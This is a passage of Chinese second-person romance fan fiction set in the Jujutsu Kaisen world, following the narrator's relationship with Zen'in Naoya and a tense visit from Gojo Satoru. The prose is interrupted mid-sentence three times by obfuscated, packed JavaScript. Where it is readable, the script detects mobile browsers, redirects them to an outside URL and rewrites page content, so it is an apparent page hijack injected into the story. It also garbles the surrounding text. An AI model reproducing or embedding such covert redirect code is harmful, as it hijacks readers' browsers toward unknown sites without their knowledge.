他的目光灼热得几乎实质化,但是他否认你也懒得去争辩,你点点头表示知道了,不再深究。 “只是这身衣服不算太差。”直哉还是无法欺骗自己,虽然平时的你也是个大美人,但是穿上和服更有一种欲说还休的禁欲美,在重重布料的包裹下露出的一点肌肤,更是雪色与月色之间的美丽皎洁。 “那是当然。”你一直知道自己是美丽的,就像五条悟是最强的一样,这是一个毋庸置疑的事实,咒术界的人以私生女和不检点攻击你,却没有一个人指摘过你的容貌。 “今天五条的眼神让我很不舒服。”直哉没来由地来了这么一句,“就好像我的东西被人盯上了一样。” “所以我是东西吗?”你奇怪地看着他,虽然在你眼里他是‘我的直哉’,但是你可没有物化过他,顶多狗塑,如果他觉得你是一件物品,那可就太失礼了。 “……重点是那个吗?我的意思是,我的女人被别人盯上了。”直哉轻轻哼了一声,小声解释,“是你不让我说‘我的女人’的。” “因为我感觉女人并不能完全代表我。”你不假思索地回答道,“就像你也不算我的男人。” ‘不算我的男人’这句话让直哉完全不服气,他那双漂亮的金绿眸微微眯起,似乎想反驳你。 “你是我的直哉而已。”你补全了未尽之语,“男人和直哉不是同一个概念,不知道你能不能理解。” “叽里呱啦说什么呢。”直哉大概是理解了你的意思,但是这样柔软的话题又让他有些不适应,于是他干脆伸手捏住你的下巴,将你拉到身前,又像小狗一样啃噬着舔上了你的嘴唇。 他亲起来就没完没了,你很快就感觉呼吸不畅,于是你很自然地伸手去推他,他的胸膛硬邦邦的,推了半天纹丝不动。 等车到了乐岩寺宅门口,直哉再三和你确认你真的不跟他回去后才放开你,并且叮嘱你别忘记明天晚上过去。 “知道了知道了。”你有些敷衍地应下,然后干脆利落地下车,走进了自己家那扇古朴的大门。 …… 当你推开大门走进主宅,你就感受到了并不属于这里的咒力,并不是你很敏锐,而是这股咒力实在是非常霸道,是完全无法忽略的那种。 顺着咒力方向看去,只见刚才宴会上见到的五条悟正大大咧咧地坐在你家的沙发上,一双存在感极强的大长腿几乎叉出茶几的范围,他吃着你给外公买的泡芙和羊羹,惬意如回了自己家一样,你外公黑着脸坐在他的对面,气压极低,随时都有赶客的可能性。 “哟,小离。”五条悟在你想溜走之前就叫了你的名字,他对你挥了挥你买的羊羹,表扬道,“品味真不错啊,这款糖分很高我很喜欢,不过可能不适合老爷子哦?” “五条老师。”被点名了再跑有些不礼貌,虽然不高兴他吃你买的点心,但是你还是挪动到了他的面前,乖乖问好。 “阿离,你先……”你的外公似乎是想让你先上楼,可是他的话也被五条悟打断。 “小离,过来坐老师身边嘛~”五条悟拍拍自己身侧的位置,“你小时候可粘我了,都要坐在我的腿上让我讲故事呢。” 你完全不记得有这回事! 自你五岁认识了十三岁的直哉,日常你就是跟在直哉身后,说你是直哉带大的也不为过,你记得直哉带你去偷看过好几次禅院甚尔,却不记得你俩和五条悟有什么交集。 “哈哈,不信吗?那可能是老师我记错了。”五条悟完全没有乱说被你看穿的窘迫,他继续拍沙发,海豹一样欢迎你,“坐嘛坐嘛,正好一起聊聊。” 你看向外公。 “坐吧。”既然五条悟都邀请了你,你也不是小孩子了,乐岩寺自然也不坚持赶你回房间。 你选了一个靠近你外公的位置坐下,女佣为你奉上红茶。 “哎呀,小离很害羞嘛。”五条悟丝毫没有自觉,他直接起身坐在了你的身边,“不要因为老师是大帅哥就不敢靠近啊。” 你被突然靠近的五条悟吓一大跳,即使不算咒力,他一米九的身体一下子压近也会给人压力,不过你好歹还是坐稳了,毕竟这是你家,在沙发上吓得摔倒太逊了。 “五条,你……”乐岩寺虽然习惯了五条悟的性格,但是这不代表他能容忍这巨大一只随便靠近自己的独苗苗、唯一的亲人、最最宠爱的外孙女。 “在在~好啦好啦。”五条悟放松地往后一躺,长臂搭在沙发上,就好像把你圈入他的领地一般。 但是因为他并没有真的碰到你,你也没办法做出什么反抗的反应,只能拿起红茶喝起来,尽量不让自己被五条悟影响到。 “老爷子,小离也是大姑娘了,对她的未来你有什么考虑吗?”五条悟并没有什么僭越的自觉,直接问了关于你的私事,“和禅院联姻?还是加茂?” 你惊讶他这样多管闲事,同时又挺想听你外公会怎么回答,毕竟你外公看起来非常喜欢宪纪,你也挺担心他做多余的事,这不代表你很想嫁到禅院去,只是加茂也不行。 “老夫的外孙女如何安排,和你没有什么关系吧?”乐岩寺不悦,“不管是加茂还是禅院,和你五条何干?” “不管如何选择,小离都有一个光明的未来吧?”五条悟笑眯眯,态度很好的样子,甚至语带祝福。 “那是自然。”乐岩寺想都不想便回答,“虽说我是一把老骨头,但是安排好外孙女还是从容,就不劳五条你费心了。” “嘛……我只是想。”五条悟改变了一下坐姿,他身体前倾,单手托腮,用很天真无邪的语气说道,“小离是老爷子的孩子,有光明的未来,可是虎杖就要被你们处死了,他也是个孩子吧?” 你捕捉到了‘虎杖’这个陌生的名字,又联系到五条悟说的死刑,你明白这就是那个宿傩容器。 乐岩寺神色微变:“你是什么意思,五条?” “没有什么意思,只是我希望孩子都有光明的未来。”五条悟脸上的笑容更加放大,“真好啊,老爷子你也有孩子,所以肯定可以理解吧?” 你不太明白外公和五条悟在打什么机锋,但是你看到外公的脸色有些发青。 “五条,你在用阿离威胁老夫吗?”乐岩寺用拐杖敲了敲地板,克制着没有发火。 五条悟不语,只是伸手轻轻揉了揉你的脑袋,用纯真无邪的语气对你说:“小离,你外公好可怕啊。” “啊?”你完全不明白发生了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“呵,小骗子。”直哉自然是不信,和你不假思索的谎言相比,他更信自己的眼睛。 你只能敷衍地拿起吹风机,在他面前又吹了十分钟头发。 “干了干了,好了我先挂了啊,我要睡觉了!晚安直哉!”放下吹风机你就立刻又拿起备用机,你玩游戏入迷,伸手就关了视频。 游戏是真的好玩,但是你也真的是有些困,所以你玩着玩着就进入了梦乡。 半梦半醒之间你感觉有什么东西抱住了你。 “嗯?”你睁开眼,发现自己在一个结实的怀抱里,都不用看脸你就知道是直哉,你对他的气息实在是太熟悉了。 “直哉,你怎么过来了?”你调整了一下姿势,让自己在他的怀里睡得更舒服一些。 听着你梦呓般还未完全清醒的呢喃,直哉只觉得你可爱到爆炸,他搂紧了你,在你耳边轻轻回应:“我想来就来了。” 你觉得他说的非常有道理,直哉来你家就好像回自己家,你去禅院也好像回自己家(仅限于直哉的院落)。虽然你在乐岩寺宅外布下了防御结界,但是直哉是你家结界的白名单。 “睡吧。”他有些霸道地揽住你银色的脑袋,将你的脸贴向他的胸口。 “嗯……”你安心闭上眼,汲取着他的热源,听着他的心跳,睡得更沉了。 5. 第 5 章 直哉的到来导致的直接后果就是你翘掉了早上的课。 虽然他夜里真的只是抱着你睡觉,但是早上你在迷迷糊糊中感觉有些不对劲,等你彻底睁开眼,你就感觉他的热量和重量都倾向于你。 你伸手去挠他,却被他一把抓住亲了手心。 “啊,别舔我的手!”你抽回手,“好恶心!直哉!” “只是手而已……如果是别的地方你得跳起来吧?” “哈……啊?”你完全无心去解析他话里的意思了。 …… 等你们从房间里出来下楼到饭厅的时候已经是上午十点半,你打着哈欠腰酸背痛。 和你日常会睡在禅院一样,直哉也不是第一次留宿,所以他有自己的客房(虽然他几乎不用),客房里还有各式各样的换洗衣物,他换了新的一身,在‘吃饱喝足’后看起来格外的神清气爽,风度翩翩。 “老头子出去了?还算知情识趣。”直哉大剌剌地在餐桌边坐下,女佣们立刻恭敬斟茶,送上吐司果酱培根和水煮蛋,乐岩寺虽然是个和服老头,但是爱玩电吉他的他更热衷于西式早餐。 你家的女仆和管家对于禅院直哉会出现在这里见怪不怪,虽然日常你不是高专制服就是和服,但是你本质上也不是循规蹈矩的传统大小姐,让男朋友留宿什么的实在是太正常了,这点倒是和你外公一模一样。 “都快中午了,外公肯定去学校了。”你没滋没味地啃着吐司,顺手打开手机,里面赫然是宪纪的信息,大概是因为你早上没出现,歌姬老师让宪纪问问你,虽然没有任何人规定,但是你的行踪日常是由宪纪来打听。就好像东堂没有来上课,歌姬老师就会问禅院真依一样。 想到早上迟到的理由,再看身侧直哉那副‘男主人’的样子,你只能胡乱编造了一个理由,说早上人不舒服就没起来,下午会来学校的。 “那种课程不上也无妨,我早说你应该来禅院的私塾……”直哉本人是没有上过高专的,他也曾经致力于邀请你去他家私塾,事实上你在读高专以前确实去过,那段时间你和直哉是真的朝夕相处,你俩都很开心。不过毕竟你外公是京都校的校长,如果连你都不去念,那你外公的面子往哪搁? “直哉你才是应该上高专。”你反驳,“如果你来了,就没人欺负我了。” 你似乎有些忘记了他比你大了七八岁,即使他去了京都校,你们也不可能在同一个时间段内相遇。 “哈?还有人欺负你?”直哉仿佛听到了什么惊天大笑话一般看你。 他的反应很合理。 首先,你并不是一朵真正的小白花,即使外形纯洁如铃兰,日常行为也差不多礼貌周全,可是你的本性也夹杂着巨量的叛逆和任性,别人如果打你左脸,你绝对是跳起来把对方全脸挠花的类型。 其次,你外公是乐岩寺嘉伸,京都校可以说就是你外公的地盘,谁会不长眼欺负校长的外孙女啊? 最后,他确实想知道是谁,毕竟这是你遇到的困境。 “就是你家那个禅院真依啊。”你哼了一声,“都怪你,她不喜欢你所以连带着不喜欢我,她不喜欢我还撺掇西宫桃也不理我,学校女生里只有三轮霞还和我说话,那也是因为她在外公那边勤工俭学……” “真依?”直哉这次是真的意外了,他很惊讶,“她敢这样对你?” 你看得出来他有些恼怒,那张漂亮的脸上都写上了怒气:“那个每天制造一颗子弹都费劲的真依?她还带头孤立你?为什么之前不和我说?” “和你说有什么用,孤立这种事情人家可以反驳说是我想太多啊。”你没好气回答,“算了,反正很快要毕业了,我也不想和她们玩。” “和我说当然有用,那个不知天高地厚的残次品……居然还学别人校园霸凌。”直哉说着拿出手机,似乎想要立刻拨给真依。 你眼疾手快地扑了过去抓住了他的手:“不要!直哉!” “哈?你还怕她吗?”直哉不可置信地看你。 “如果你骂了真依又说了理由,那样就好像我是一个没人一起玩就闹脾气的小孩一样。我只是和你闲聊!我并不是想解决问题。”你一股脑儿说出了自己的想法,眼睛一直盯着直哉的手机,生怕他直接打给真依惹笑话。 “……那我也不会轻易放过她的。”直哉看你是认真的于是就松开了手机,他顺势把你抱到他的腿上,语气也是罕见的温柔,“有这样的事你应该早点和我说。” “我怕你去骂她,她在学校里宣传,然后大家都觉得我是个巨婴……”你伸手揽住直哉的脖子好让自己坐稳一些,你将头靠在他结实的胸膛上,依偎着,“没关系直哉,我有你就可以了。” 就像你有我就足够了一样,你在心里补充。 “笨蛋。”他似是很不习惯你这样的告白,伸手紧搂住你的腰身,又深吸一口你颈窝的香气,“好了,我送你去学校。” …… 直哉夜袭你家是自己开车来的,所以今天非常难得,禅院小少爷开车送你去京都校。 他在家里连鞋带都要下人(甚至是真希真依的母亲)系,能成为你的司机实在是对你非常特别,至少在直哉自己的想法里是这样。 你坐在副驾驶上喝着利乐包的牛奶,虽然昨天睡饱了,但是早上……你还是有点昏昏欲睡。 黑色的禅院家轿车平稳地驶向目的地,你调试着车内的音乐,一时间也没想好到底听什么。等你完成了‘东摸摸西摸摸’成就后,你又觉得很无聊了,于是你和直哉闲聊:“好烦哦,直哉。” “嗯?”他其实一直有关注着你的方向,随时准备好了应答。 “昨天宴会结束后,就是我回到家嘛。”你有些小抱怨,“五条老师居然跑来找外公了,还把我给外公买的,就是你家佣人帮我去排队买的,京吉屋的泡芙……都吃完了,连吃带拿的。” 你的重点是泡芙。 “什么?悟君去了你家?你昨天怎么没和我说?”直哉的语气立刻带上了戒备,握着方向盘的手也紧了一些。 “啊?因为这不是什么大事吧……就是几个泡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“为了报复我外公,他至于把自己赔进去吗?”你知道五条悟是一个非常讨厌咒术界传统做派的男人,联姻更是敬谢不敏,他二十七岁了也还是单身一人。难道你外公处死宿傩容器会让五条悟牺牲自己和你结婚,恶心他自己也恶心你外公,顺便恶心你和直哉? 五条悟那边被恶心的是他一人,你们这边被恶心的是三人,这样算来好像是五条悟赢了。 你似懂非懂点点头:“这样啊,那没关系了直哉,我外公已经答应五条老师,在会议上否决处死宿傩容器这件事了。” “……你还真是乐观。”直哉有些无奈地看了你一眼,但是他又觉得不能对你要求太高,你想太少也是因为万事都有他和老爷子为你完成,这不是你的问题,是他平时对你说的道理太少了。 “反正你离五条悟远一点就行了。”直哉连‘悟君’都不叫了。 他确实崇拜五条悟的力量,但是这不代表他愿意看到五条悟染指他的女人,即使是口头威胁都不行。 “哦……”你心不在焉地应了下来,其实根本没把五条悟太当回事,你认为直哉是太崇拜五条悟了,所以才把他的话无限放大,事情都解决了,根本不需要担心。 6. 第 6 章 你感觉直哉真的太过粘人了。 车到京都校的鸟居下,你刚伸手去解安全带,直哉就一把将你拉过去亲,吻到你有些缺氧他才放开你,这种浓重的占有欲也不知是从何而来,你自问给了他充足的安全感,他为什么还总想在你身上留下明显的印记,你感觉嘴唇有些红肿了,这样会不会破伤风啊(误)。 “晚上记得回禅院,昨天说好的。”他盯着你的同时用理所应当的语气吩咐你。 “欸?可是你……算了。”你想说今早……但是想到他可是直哉,在很早以前他就对你黏黏糊糊,现在更是食髓知味,你用手指都能想到他在想什么。 “记住了,晚上我来接你。”他根本没给你拒绝的余地。 “知道啦,直哉少爷。”你揶揄他一声,转身朝着学校走去。 即使背对着他,你还是能感受到他一直在注视着你,等你已经走了很远再回头,他的车依然停在原地。 “回去吧!”你知道他可能听不到,但是还是用力摆了摆手,然后直哉的车才启动。 …… 你错过了上午的文化课,所以只能上下午的体术课。 这并不是你所擅长的,好在大家对你也并没有多少期待,你这小胳膊小腿,只要不拖后腿就行,可以说是非常低要求。 歌姬老师关心你身体如何,你支支吾吾说好多了,谢谢老师关心。 你确实有些心虚,因为直哉那个混蛋特别喜欢亲你的脖子,然后留下若干红印,你的高专制服是普通的款式,并不能像东京校二年级的咒言师狗卷棘那样罩住脖子,你总感觉老师同学们都知道你其实并没有生病。 不过这是一件无伤大雅的小事,随便吧,你想。 体术课对你来说真的很烦! 你看着同班同学加茂宪纪和东堂葵那惊人的速度和体能,再看被特许的西宫桃骑着扫帚一骑绝尘(似乎大家默认了扫帚也是她的本体),机械丸本身就是机器人更不用说,学妹禅院真依和三轮霞看起来纤细,但是毕竟都是咒术师,她们跑三千米也和玩儿似的。 你跑到八百米就觉得自己快死了,因为害怕你真的会猝死,歌姬老师给你的任务一般也只有八百米。 这个担心虽然有些夸张,但是你确实是京都校(加上东京校)体力最差的脆皮,这也是你日常紧紧跟随宪纪的原因:在危急关头你不太确定其他人会不会管你,但是宪纪是个很有责任心的队长,他一定不会坐视不理的,用他的话说这也是咒术界嫡流的应有之义。 日常你都是在安全的站位,然后瞬间施法渲染出一个房间大小的环境影响战局,就像精灵宝可梦里不同环境适配不同属性的宝可梦…… 你见过并充分理解的环境都可以被你拓印下来,你偷偷觉得自己其实是特级的料子,但是你本体实在脆弱,你还是觉得苟命更重要,低调行事吧! 你其实偷偷拓印了许多环境作为储备,但是在学校任务里你日常只会使用地震、岩浆、训练室三种,这三种也基本上足够覆盖大家对你的期待。 只有周末和直哉单独出任务的时候你才会尽情施展,当然前提是周围没有他人,直哉是最了解你的才华的人,他对你来说是一个安全的树洞,所有秘密都可以对他倾倒:因为你的直哉好像没有其他朋友,他想说出去也找不到对象。 并没有人要求你对自己的能力部分保密,但是作为本体脆弱的术师,你天然需要底牌,你觉得大家都可以理解这一点,并且互相尊重。 敏锐的人其实已经早已发现,你的能力和禅院直哉简直是天配,当然并没有人指出这件事,可能是因为大家都比较害怕直哉,他毕竟是个实权少主,性格又有些论外,如果被他盯上也许不会死,但是肯定足够烦人。 直哉的术式‘投射咒法’和他老爹直毘人一样,将一秒分割成二十四帧并预设动作,当对手被触碰后没能复刻直哉所规定的行动轨迹便会被强行变成平面停滞一秒,在实际运用中,只要对手足够强悍,那么复刻出一样的动作也是可以做到,所以这并不是一种必中的术式。 但是一旦加入你的环境结界术,一切就完全不同了。 脚下突然出现的流沙改变动作,眼前突然出现的强光剥夺视觉……你简直有一大堆方法让人无法正确动作,直接效果就是直哉的术式进入‘几乎必中’模式,趋近于领域效果的存在。 你得感谢你是乐岩寺嘉伸的外孙女,你也得感谢直哉是禅院的少主,如果你们是普通家庭出生的咒术师,现在可能早就被什么势力控制了。 想到此处你又想起了那个宿傩容器,他作为普通人突然被卷入咒术界,如果没有五条老师……对此你难得产生了一丝对外公的叛逆:在宿傩容器这件事上你的外公好像一个反派,这种感觉真糟糕,明明外公都快八十岁了,你觉得宿傩什么的也不需要老人家操心吧。 你为自己站对面(五条悟)的心情感到一丝抱歉,当然也就一点点罢了。 你是自私自我的性格,你完全接受这一点,不管是外公也好五条悟也好,他们都有道理,而你站哪边都行。对你来说唯一的例外就是直哉,他好像你从小养大的可怜小狗,你站在哪一边,你就会把他抱到哪一边的…… “浅川?” “欸,在。”你正在呼哧呼哧喘气,抬头就见宪纪走了过来。 他递给你一瓶常温的水。 “谢谢。”你接过,发现盖子已经拧开,这个小细节让你对宪纪的好感度稍微up了一点,毕竟你确实累的没力气拧瓶盖。 说起来你真的很少有拧瓶盖的机会,偶尔和直哉外出,瓶装饮料到你的手里都是打开的,甚至是他喝了一口的状态。 虽然直哉死不承认,但是你总感觉他在试毒,你外公也算树敌众多,想杀你的人也不是不存在。 喝了水,你喘的更厉害,大概就是走了一万米的人突然歇一下会觉得更累吧。 “我真的好废哦……”你自暴自弃般说了一句,当然并不是真心的,随口说说罢了,你还是很喜欢自己的! “浅川,还好吗?”宪纪关心道,“虽说你的体能确实还需要锻炼……不过术师中也不乏身体强度换咒力的例子,比如机械丸就是此道的极端例子……你的术式范围广形成快,我想这可能也是你体能差的原因吧。” 他顿了顿。 “所以,请不要太过在意这点了。” 听了他的话你都感动了。 虽说三年级最强的是一级咒术师东堂葵,但是他日常游离在群体之外,满心满眼都只有偶像高田,与同学们也只和真依有交流(也许是因为真依符合他的审美)。宪纪虽然和你一样都还是准一级,但是你感觉他就是大家潜意识里的领导者。 毕竟他是加茂少主,性格也稳重端方,日常都非常认真执行你外公或是歌姬老师的命令,组织力和领导力都很强,同时也很有责任心。 “谢谢你,加茂同学。”你真心实意地感谢他宽慰你,不过你也有些心虚,因为你并不是真心觉得自己很差,相反你觉得你可棒了。 你知道你的外公其实很想撮合你和宪纪。 但是你也知道你们并不合适,因为你对他撒谎会有愧疚。 如果是直哉?为了达成目的,你经常对他乱说话,简而言之就是撒谎耍赖,这些都是信手拈来的。 不过对直哉撒谎的成功率其实很低,因为他实在是太了解你了,你的一个猫猫祟祟的眼神他就基本上猜到你在憋什么坏主意。 …… 晚上你如约走出学校,果然看到了禅院的黑色轿车。 你从第二排上车,直哉居然也在,你还以为他只是派司机来接你,他居高临下地用那双漂亮的金眸斜睨了你一眼,并未说话。 “直哉少爷,你怎么来了?你就那么想见到我吗?”坐定后,你伸手就去戳他脸。 “是啊,想的不行呢。”他很轻易地捉住你不安分的小手后收紧力道,然后用气音对你说,“再皮我就……” “哼,怎么可能。”你知道直哉还是有底线的,特别是他信奉尊贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055187|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的少爷的身体哪是庶民可以看的,不管如何他都不会在司机身后真的对你非礼。 他冷笑算默认,但是没有松开手,反而把你拉了过去。 你本来就很娇小,被他一拉就整个人被带了过去,你被他抱在身上,他像撸猫一样伸手梳理你银色的长发。 “干嘛啊直哉。”你小声抱怨,身体被他牢牢固定在怀里,根本动弹不得。 “想你啊,你刚才自己不也说了吗?”直哉戏谑一般对你耳语,手也开始不安分,从你的头发往下顺,好像你真的是猫咪一样。 “直哉!”你有些羞恼,但是又不愿意大声嚷嚷,毕竟前面还有司机。 “好啦好啦。”他收手,然后细细密密地亲你的额头和眼睛,“其实也没什么,喂,你什么时候毕业啊……” “如果毕业了……”你光想想就觉得有点恐怖,并不是讨厌直哉,只是他太贪婪了!你觉得足够了,他却一直不满足。 “别人求我我都不愿意呢,你还嫌弃上了。”直哉在你脑门上轻弹一下,慢条斯理地说,“等你毕业我就让老头去找乐岩寺提亲,到时候……” 你捂住他的嘴。 你当然知道他说的是什么,虽然现在直哉严格使用(毕竟未婚先孕对你的名声有碍),但是如果你们真的结婚了,他肯定不是丁克。 “你还会害羞吗?”他抬起你的脸,“脸红了。” “烦死了直哉!你能不能成熟稳重一点,像加茂同学……”你话说一半就有些后悔,直哉一直挺在意宪纪的存在,毕竟你在学校基本上都和他在一起。 “是吗?你这只幼稚的坏猫开始嫌弃我不够成熟稳重?”果然直哉开始吃醋,态度也恶劣起来,他非常刻薄地点评,“那不过是个庶子出生,有了一点运气的小鬼罢了,眼睛小的好像一直闭着,说话也老气横秋的,这种男人……” “好啦好啦,我说错了嘛。”你不想听他贬低你的同学,而且还是在学校里罕见对你友好的同学,于是你主动搂住他亲了几口,安抚直哉就像安抚小动物一样。 “哼……”这很奏效,直哉果然安静了下来,他抚摩着你的背部,大手由上至下,又轻轻掐了一下,“不准在我面前提别的男人。” “是是是,直哉少爷你最好了。”你是不肯吃亏的,也伸手在直哉大腿上重重掐了一下,他闷哼出声,不过好在他没再掐回来,不然你俩掐来掐去太幼稚了。 回到禅院直哉让你快点吃饭,你故意慢吞吞然后被他直接拿走了饭碗,他说晚点去吃夜宵吧,然后就把你抗走,你当然反抗,但是反抗无效。 “直哉你到底在急什么啊……” 若干时间后,你裹在被子里露出一个脑袋,直哉随便披了一件衣服,坐在边上拿鳗鱼饭喂你。 “真是的,什么都没付出的人还需要我伺候。”他挖了一勺裹满酱汁的米饭连带着一小块鳗鱼塞进你嘴里,语气凶狠埋怨,动作却很轻柔。 “我来你又不肯。”你指出这个现实问题。 “……吃你的,别说话了。”直哉无法正面回应这个问题,虽然他自己也不太理解到底在坚持什么,但是毕竟他可是‘女人要走在男人三步后’主义的支持者,怎么可能让你一个女人以下犯上啊。 他曾经也以‘女人要走在三步后’要求过你,你欣然答应,反正你本来就是一个很随性的人,三步后完全没问题,你甚至可以离得更远,直接结果就是当直哉回头却已经看不到你的身影,返回去找才发现你在草丛边上和野猫玩。 于是他立刻废除了三步后这件事,要求你必须紧紧跟着他,你不置可否,对你来说问题不大,你这种我怎么样都行啊的态度让他很是憋屈,但是又不能真的和你生气。 毕竟把你骂跑了的后果承担人还是他禅院直哉,他何苦为难自己。 他一边精神胜利自我安慰一边继续服务你吃饭,虽然嘴上一直在说你麻烦,但是手上的动作倒是没有停下,他还不忘还时不时拿纸巾给你擦擦嘴,美其名曰是怕你弄脏他的被单。 7. 第 7 章 和天底下所有的好朋友一样,即使有点年龄差,即使开始交往了,但是你们也会吵架。 虽说直哉比你要大上七八岁,但是他的性格本来就有点幼稚,再加上你也不是忍气吞声的类型,你们的争吵往往一触即发。 比如此刻,你看了一下亮起的手机屏幕,发现是学校群的信息,是禅院真依这个“惹事精”揶揄了你早上并没有真的生病这件事,并且西宫桃开团秒跟,两人一起质疑你(虽然她们没有冤枉你啦)。 “你堂妹可真烦。”你丢开手机,一脸不爽地对直哉抱怨,不过其实也只是顺口一说,并没有真的要和他讨论的意思,被真依怼脸也不是第一次了,你倒是没有真的生气,毕竟对于你来说,真依是另一种直哉吧,幼稚禅院。 “真依吗?”直哉看你吃的差不多了就把碗往旁边的矮桌上一放,他似乎是回忆了一下,露出一个带着浓烈嘲讽的笑容,“其实她那个双胞胎姐姐才叫离谱,去年莫名其妙跑到老头子面前说要去东京高专闯荡,还说要成为家主回来,一个几乎没有咒力的……真是招笑。” 你对真依的双胞胎姐姐禅院真希没有太多印象,你们只在小时候见过几次,毕竟你来禅院一般都是钻进直哉院子里不再出去,所以只是在听他说。 “真依虽然也很倔强,但是比真希要好上不少,起码她知道自己是个女人,知道要跟随强大的男人才能活下去。”直哉摸了摸自己日常修剪所以很是光滑的下巴,眼里闪过有些暧昧的戏谑。 “哈?你是说她和东堂吗?”闻言你感觉有一点点不高兴,但是暂时还没有完全理解这种情绪的缘由,所以你隐忍不发。 “是啊,明明她是二年级的,却整天跟着三年级的一级咒术师,这不就是攀附强者吗?往好处想,这也算有自知之明吧。”直哉并没有注意到你的情绪,他只是沉浸在自己的想法里,“真依和真希的脸蛋还可以,身材也不错,虽然没什么咒力,但是靠着禅院的名头嫁个好人想来也不难,可是她们一个两个的都那么逞强……呵。” “什么?身材好,脸蛋好。”闻言你冷冰冰地笑了一声,然后迅速从被子里钻出来去捞你的外衣,动作快到直哉都没来得及反应过来时你已经把衣服穿好了,完全就是要走人的样子。 “浅川离,你突然发什么疯?”直哉虽然被突如其来的变化惊到,但是肌肉记忆让他伸手拦住你,语气也着急起来,“干什么!说的好好的突然就生气!你总是这样阴晴不定的!” 他的语气甚至有点委屈,毕竟在他的角度来看你们此刻正应该浓情蜜意,而不是为了堂妹吵架。 “我早就听说你们禅院的堂兄妹什么的……如果真依姐妹有咒力就得侍奉嫡子,是吧,嫡子?”你的言辞尖锐,胸口也因为生气而上下起伏,“我本来以为只是什么陋习,没想到你还真去打量人家身材脸蛋了!你就是有这个想法但是又嫌弃她俩咒力低吧?” 说完你随便找了个枕头砸向直哉。 “什么?你为了这个生气?谁要她们……侍奉啊,给我提鞋都不配!”直哉是真的没想到你生气的理由,他一把接住枕头,“你吃醋了?”他只能往好处想。 “吃你个头!我才不吃!”你哼一声随手又拿起一个枕头砸向他,“我和你说她讨厌,是想听你和我一起说她坏话!才不是让你在这边回味人家的长相身材!恶心!” 你说完就想跑,直哉直接拦腰抱住你。 “哼!放开我!放开我!”你在半空中猛烈挣扎,这一次你是铁了心要走,并不是和他闹着玩。 “我恶心?那你想让我给你干活的时候还不是对我投怀送抱的吗?”他把你抱到床上以一个很低的高度丢下,看你在床上还弹了两下,本来有些严肃的吵架氛围突然淡了,他甚至有点想笑,但是憋住了。 “你就是恶心!你觊觎自己的堂妹!你不帮我一起说人坏话!”你想到还有需要澄清的,“力的作用是相互的!我抱你的同时你也在抱我!所以这件事没什么可拿出来说的!” 他好像在憋笑,你发现了,并且感觉更生气了。 于是你嗷地一声扑上去,直哉没想躲,你顺手把他撂倒,然后一顿‘猫猫拳’砸他身上,当然你的力度对他来说几乎是在刮痧,他哼笑一声终于没憋住哈哈哈笑了出来,他这样轻慢的对敌态度彻底惹怒了你,于是你更加认真起来,甚至开始思考是否要使用术式。 他笑着笑着就停下了,然后只看着你。 你也低头看他。 你愣愣地看着处于你身下的直哉,他纤长的睫毛在如玉一般的漂亮脸蛋上投射下一片阴影,平日里总带着讥诮的上挑凤眼此刻居然也格外的柔和,他就像初生的小羔羊一般看着你,你脑海里不自觉地浮现了‘纯洁美丽的神圣造物’这样与他非常不搭配的形容词。 有点好看啊…… “直哉……”你轻轻喊了一声他的名字,然后俯身捧住他的脸轻轻亲吻。 “坏猫,你一天到晚就知道和我发脾气,只敢对我凶……”在云朵一样带着花香的亲吻中,直哉下意识放低了声音,但是还是有点小委屈和抱怨,他反手抱住你,顺便一口咬在了你的脖子上。 “啊!你是狗吗!”你惊呼出声,感觉脖子都要被咬断了!(夸张修辞)。 “哪有那么夸张!”直哉觉得自己只是用牙齿含了一下你的脖子,他又轻轻啃了一下,警告你别乱动了,他很委屈,他需要安慰和补偿。 “放手放手!直哉你好讨厌啊!我要去找个比你更好的男人,不会咬人的那种……” “是吗?”轻松的氛围好像肥皂泡一样被戳破,他的眸子瞬间黯淡下来,“不存在那种人。” 你猛猛推他,他纹丝不动。 你终于意识到在特定的时间和区域不要说刺激他的话,直哉虽然平时对你逆来顺受,但是在相关到你的归属问题的时候,他简直就是一条疯狗。 你很喜欢小狗,所以日常在心里狗塑直哉,但是小狗发疯也并不可爱!好可惜,他平时真的是很可爱又可怜的漂亮小狗来着…… …… “所以这样我怎么回学校啊。”第二天早上你检查着镜子里的仪容,脖子上有清晰齿痕,所以你非常不满,“都说了不许亲脖子了!” 直哉你怎么就那么不听话呢,这句话你暂时没有来得及说出口,他又把你抱到了腿上。 “我就是想别人知道你昨天晚上在我这里。”他贴近你的耳朵,又在你白皙小巧的耳垂上轻轻舔了一下,湿漉漉的触感好像是小狗的鼻子在顶你,你不自觉躲了一下,但是没有成功,你仍然牢牢被禁锢在他的腿上。 “你这……”你想说直哉到底是多没有安全感?对此你是真的很不理解,你们相伴相随了十几年,要是能离开你早离开了,你就说了一句‘找别人’,他好像天都塌了一样过度反应。 讲道理,你根本找不到比他更漂亮、更强大同时又更听话(重点)的人啊。 五条老师确实比直哉厉害还漂亮,可是他根本不受控制,所以你完全不考虑转投五条!直哉到目前为止稳居第一!他应该非常有安全感才对啊。 他并不知道你的小脑袋里在给男人排名,他抱着你爱不释手地又亲了五六分钟。你好不容易才挣脱开来,去换衣服准备去上学。 